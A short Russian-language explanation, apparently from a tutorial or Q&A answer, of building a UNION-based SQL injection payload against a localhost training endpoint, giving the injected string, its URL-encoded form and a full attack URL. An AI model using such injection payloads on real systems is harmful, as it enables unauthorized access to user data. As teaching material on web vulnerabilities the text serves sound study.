Предположим, что ваш веб-запрос будет переведен на
SELECT * FROM users WHERE username = 'my_id';
Теперь хитрость заключается в замене 'my_id'
вредоносным кодом. Я предполагаю, что цель запроса UNION - вернуть всех пользователей вместо одного. Результат должен быть:
SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';
Возможно, исходный запрос имеет список полей вместо *
. Затем вам нужно будет продублировать этот список во втором запросе.
Теперь вместо my_id
необходимо ввести
my_id' UNION SELECT * FROM users; --
Обратите внимание, что мы заканчиваем нашу запись знаком --
комментарий. Механизм запроса завершит запрос, добавив окончательную одинарную кавычку (и, возможно, точку с запятой). Теперь они будут превращены в комментарий.
Следующий вопрос: как нам избежать этого правильно для URL. Используя онлайн-инструмент Code Beautify, HTML Escape / Unescape , мы получаем:
my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
Это дает полный URL:
http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--